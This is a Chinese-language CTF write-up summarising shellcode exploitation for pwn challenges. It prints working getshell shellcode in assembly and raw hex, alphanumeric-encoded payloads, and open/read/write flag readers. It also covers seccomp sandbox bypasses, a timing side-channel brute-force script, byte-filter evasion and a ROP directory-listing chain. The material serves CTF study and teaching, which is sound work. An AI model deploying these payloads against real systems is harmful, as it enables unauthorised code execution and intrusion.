总结在 CTF-PWN 中遇到的 shellcode 利用
ve1kcon 发表于 北京 CTF 959浏览 · 2024-12-09 15:18

[TOC]

一、关于shellcode

shellcode 是通过软件漏洞执行的代码,通常用十六进制机器码表示,因其能够使攻击者获得 shell 而得名。它常采用机器语言编写

在栈溢出攻击中,攻击者会劫持程序流指向 shellcode 的地址,让程序执行 shellcode 中的任意指令

为了防御此类攻击,在 Linux 下通常能在编译时开启 ASLRNXCANARY 等保护机制,确保无法通过溢出直接劫持程序流到 shellcode 地址去执行攻击者的代码,或者使得数据写入的内存没有执行权限

二、shellcode可用性测试

仅用于测试 shellcode demo,编译后可以正确执行到 shellcode 并且成功执行到预期效果,说明写得没什么问题

// gcc -zexecstack -g -m32 -o shellcode-test shellcode-test.c

int main(){
    char shellcode[]="PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJISZTK1HMIQBSVCX6MU3K9M7CXVOSC3XS0BHVOBBE9RNLIJC62ZH5X5PS0C0FOE22I2NFOSCRHEP0WQCK9KQ8MK0AA";
    void(*run)()=(void(*)())shellcode;
    run();
    return 0;
}

三、使用pwntools生成shellcode

3.1 情景

题目给的输入长度足够大且没有其他特殊情况时,可以直接使用 pwntools 中的 shellcraft 模块直接生成 shellcode 进行利用

使用 shellcraft 前需要先通过 context.arch 设置架构为 elf.arch

3.2 生成shell

32位 getshell 的 shellcode 大小为44字节,64位的占48字节

context.arch = elf.arch
shellcode = asm(shellcraft.sh())

3.3 生成指定函数

用法:

context.arch = elf.arch
shellcode = shellcraft.function(arg1, arc2...)

示例:

context.arch = elf.arch
shellcode = shellcraft.open('./flag')

四、绕过沙箱

4.1 检查沙箱限制

使用 seccomp-tools 工具检查沙箱

$seccomp-tools dump ./pwn

置于 exp 中

r = process(["seccomp-tools", "dump", "./pwn"])

4.2 禁用execve绕过

绕过方式:通过组合使用 open read write 获取 flag

32位下的 orw shellcode 大小为55字节

shellcode = ''
shellcode += shellcraft.open('./flag')
shellcode += shellcraft.read('eax','esp',0x100)
shellcode += shellcraft.write(1,'esp',0x100)
shellcode = asm(shellcode)

64位下的 orw shellcode 大小为66字节

shellcode = ''
shellcode += shellcraft.open('./flag')
shellcode += shellcraft.read('rax','rsp',0x100)
shellcode += shellcraft.write(1,'rsp',0x100)
shellcode = asm(shellcode)

4.3 禁用open/read/write绕过

绕过方式:利用其他函数替代open/read/write,如下

openat + mmap + sendfile

shellcode = shellcraft.openat(0,'/flag',0)
shellcode += shellcraft.mmap(0x10000,0x100,1,1,'eax',0)
shellcode += shellcraft.sendfile(1,3,0,0x100)
shellcode = asm(shellcode)

openat + preadv2 + writev

需要根据具体情况调整

shellcode = asm('''
        /* openat(fd=-0x64, file='flag', oflag=0) */
        add rax, 0x62
        mov r12, rax
        mov rsi, rax
        mov rdi, -0x64
        /* call openat() */
        mov rax, 0x101 /* 0x101 */
        syscall
        /* preadv2(vararg_0=3, vararg_1=0x1337090, vararg_2=1, vararg_3=0, vararg_4=0) */
        mov rdi, 3
        mov rdx, 0x1
        add r12, 0x15
        mov rsi, r12
        /* call preadv2() */
        mov rax, 327
        syscall
        /* writev(fd=1, iovec=0x1337090, count=1) */
        mov rdi, 1
        mov rdx, 0x1
        /* call writev() */
        mov rax, 0x14
        syscall
''')

其他替代函数

  • open 替代函数
    fopen、creat、openat、fopen64、open64、freopen、openat2

  • read 替代函数
    pread、readv、preadv、splice、mmap、preadv2

  • write 替代函数
    pwrite、send、writev

4.4 禁用输出绕过

绕过方式:使用侧信道逐位爆破,当爆破字符和flag对应字符一致时进入死循环,通过接收回显的时间间隔判断爆破是否正确

from pwn import *
import string

# 这里的pwn只是为了演示流程,具体逻辑还得看题目
def pwn(p, index, ch):
    code = "push 0x67616c66; mov rdi, rsp; mov rsi, 0x0; mov rax, 0x2; syscall;"  # open
    code += "mov rdi, 0x3; mov rsi, rsp; mov rdx, 0x30; mov rax, 0x0; syscall;"   # read
    code += "cmp byte ptr[rsi+{}], {}; jz loop;".format(index, ch)                # cmp
    code += "xor edi, edi; mov rax, 60; syscall; loop: jmp loop;"                 # 等则进入死循环,否则exit(0)
    code = b"\\\\x90"*20+asm(code)  # 前面加了\\\\x90滑板

    p.send(code)

def main():
    flag = ""
    flag_str = string.printable
    for offset in range(0x30):
        index = 0
        while True:
            p = process("./babystack")
            try:
                ch = flag_str[index]
                print(">>>>>>>>>>> test ch {}".format(ch))
                pwn(p, offset, ord(flag_str[index]))
                p.recv(timeout=1)
                flag += ch
                print(">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> find flag: ", flag)
                p.close()
                index += 1
                break
            except Exception as e:
                # 捕获p.recv产生的错误
                print("="*10)
                print(e)
                print("="*10)
                try:
                    p.close()
                    index += 1
                except Exception as e:
                    # 捕获p.close产生的错误
                    print("="*10)
                    print(e)
                    print("="*10)
                    continue
        if flag[-1] == "}":
            # 判断flag是否已经结束
            break

main()

4.5 切换架构

绕过方式:通过 retfq 切换架构为32位之后利用32位的函数,相应的系统调用对应关系如下

64位 32位
fstat open
stat write

4.6 利用ptrace

五、绕过其他限制

5.1 严格限制输入长度

利用短字节shellcode

32位

getshell - 21字节

# (execve("/bin/sh",NULL,NULL))
shellcode = asm("""
    push 0x68732f
    push 0x6e69622f
    mov ebx,esp
    xor ecx,ecx
    xor edx,edx
    push 11
    pop eax
    int 0x80
""")

orw - 56字节

shellcode = asm("""
    /*open(./flag)*/
    push 0x1010101
    xor dword ptr [esp], 0x1016660
    push 0x6c662f2e
    mov eax,0x5
    mov ebx,esp
    xor ecx,ecx
    int 0x80
    /*read(fd,buf,0x100)*/
    mov ebx,eax
    mov ecx,esp
    mov edx,0x30
    mov eax,0x3
    int 0x80
    /*write(1,buf,0x100)*/
    mov ebx,0x1
    mov eax,0x4
    int 0x80
""")

\x00 截断 getshell - 21字节

\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80

scanf 可读取 getshell - 41字节

\xeb\x1b\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x29\xc0\xaa\x89\xf9\x89\xf0\xab\x89\xfa\x29\xc0\xab\xb0\x08\x04\x03\xcd\x80\xe8\xe0\xff\xff\xff/bin/sh
64位

getshell - 22字节

shellcode = asm("""
    mov rbx, 0x68732f6e69622f
    push rbx
    push rsp
    pop rdi
    xor esi,esi
    xor edx,edx
    push 0x3b
    pop rax
    syscall
""")

orw - 43字节

shellcode = asm("""
    push 0x67616c66
    mov rdi,rsp
    xor esi,esi
    push 2
    pop rax
    syscall
    mov rdi,rax
    mov rsi,rsp
    mov edx,0x100
    xor eax,eax
    syscall
    mov edi,1
    mov rsi,rsp
    push 1
    pop rax
    syscall
""")

\x00 截断且 scanf 可读 - 22字节

\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05

再次构造read

绕过方式:在有限的输入中构造一次 read,向第一次的输入点末尾继续填入 shellcode,这种思路也可以用于

  1. 绕过第一次输入时限制输入内容的情况,再次读的 shellcode 内容不会受限制
  2. 绕过第一次输入长度非常严格的情况

需要根据已知寄存器的值计算得到第一次输入结尾的位置,构造 read(0, addr, len),在高版本 libc 中 len 不能过大,需要去构造

利用栈或寄存器

利用寄存器中已有的值或从栈中pop栈顶的值得到一个离所需地址更进的地址,在此基础上构造所需地址

\x00截断绕过长度判断

当题目采用 strlen 进行 shellcode 长度检测的时候可以在 shellcode 前加 \x00 开头的指令绕过长度检测。64位的指令如下,32位架构下寄存器会改下名,opcode 不变

00 40 00                 add    BYTE PTR [rax+0x0],  al
00 41 00                 add    BYTE PTR [rcx+0x0],  al
00 42 00                 add    BYTE PTR [rdx+0x0],  al
00 43 00                 add    BYTE PTR [rbx+0x0],  al
00 45 00                 add    BYTE PTR [rbp+0x0],  al
00 46 00                 add    BYTE PTR [rsi+0x0],  al
00 47 00                 add    BYTE PTR [rdi+0x0],  al

另外可以直接采取 \x00\x00 的方式

利用汇编技巧压缩指令长度

利用 xor rax, rax 代替 mov rax, 0sub rax, rax

利用 cdqrdi 改成 rax 高位(rax 恰好为0,且需要改 rdi 为0的情况可用)

5.2 限制输入内容

仅数字字母

alpha3 项目可以实现输出可见 shellcode,安装和使用方法如下

$ git clone <https://github.com/TaQini/alpha3.git>
$ python sc.py > shellcode
$ cd alpha3
$ ./shellcode_x64.sh rax

使用脚本生成

from pwn import *
import os

context(arch='amd64', os='linux')
context.log_level = 'debug'

fp = open("shellcode", "wb+")
fp.write(asm(shellcraft.sh()))
fp.close()

shellcode = os.popen("python ./alpha3/ALPHA3.py x64 ascii mixedcase rax --input=shellcode").read()

print shellcode

注意:alpha3 生成 shellcode 时如果设置 rax 那么跳转至 shellcode 时 rax 必须为 shellcode 的地址。设置为其他寄存器同理

  • 32 位(70字节,eax)

    hffffk4diFkTpj02Tpk0T0AuEE2O092w390k0Z0X7L0J0X137O080Y065N4o114C3m3H01
  • 64 位(105字节,rax)

    Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M15103S0g0x4L1L0R2n1n0W7K7o0Y7K0d2m4B0U380a050W
  • 64 位(271字节,rdi)

    Wh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M7M1o1M170Y172y0h16110j100o0Z0J131k1217100Z110Y0i0Z0Y09110k0x2I100i0i020W130e0F0x0x0V0c0Z0u0A2n101k0t2K0h0i0t180y0D132F110M130y120c102n102q141N117K110a122k112H102O17031709102Z172q102q122L162L110e120S102u121N107o00
  • 32 位

    PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJISZTK1HMIQBSVCX6MU3K9M7CXVOSC3XS0BHVOBBE9RNLIJC62ZH5X5PS0C0FOE22I2NFOSCRHEP0WQCK9KQ8MK0AA
  • 64 位

    Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t

禁用\x0f\x05

绕过思路:利用 xor 通过数值计算得到 syscall 或者切换到32位架构下使用 int 80

示例:限制输入长度且限制 \x0f\x05 时利用 xor 构造 read(末尾 push rax 仅为凑长度)

push 0x66666963
pop rsi
xor qword ptr [rax + 0x20], rsi
push rbx
pop rdi
xor al, 0x22
push rax
pop rsi
push 0x66666963
pop rdx
push rbx
pop rax
push rax
push rax
push rax
push rax
push rax
push rax
\x6c\x6c\x66\x66

5.3 限制权限

限制shellcode段没有读写权限

输入了 shellcode 之后将该段改成不可读写,可以利用 mprotect 给这段读写权限,并再次利用 read 写到该段去执行

mprotect 用法

#include <unistd.h>
#include <sys/mmap.h>
int mprotect(const void *start, size_t len, int prot);

说明:

指定的内存区间必须包含整个内存页 (4K),区间开始的地址 start 必须是一个内存页的起始地址,并且区间长度 len 必须是页大小的整数倍。

如果执行成功,则返回 0 ;如果执行失败,则返回 -1 ,并且设置 errno 变量,说明具体因为什么原因造成调用失败

限制远程没有读flag的权限

先执行 setuid(0) 再执行 execve 进行 getshell

远程flag文件名未知

获取文件列表

p += p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_ret) + p64(target) + p64(pop_rdx_rbx_ret) + p64(0x100) * 2 + p64(read_addr)
p += p64(pop_rdi_ret) + p64(target) + p64(pop_rsi_ret) + p64(0) + p64(pop_rdx_rbx_ret) + p64(0x0) * 2 + p64(open_addr)
p += p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(0x404500) + p64(pop_rdx_rbx_ret) + p64(0x400) * 2 + p64(getdents64)
p += p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret) + p64(0x404500) + p64(pop_rdx_rbx_ret) + p64(0x400) * 2 + p64(write_addr)

5.4 限制只能输入浮点数

float shellcode

0 条评论
某人
表情
可输入 255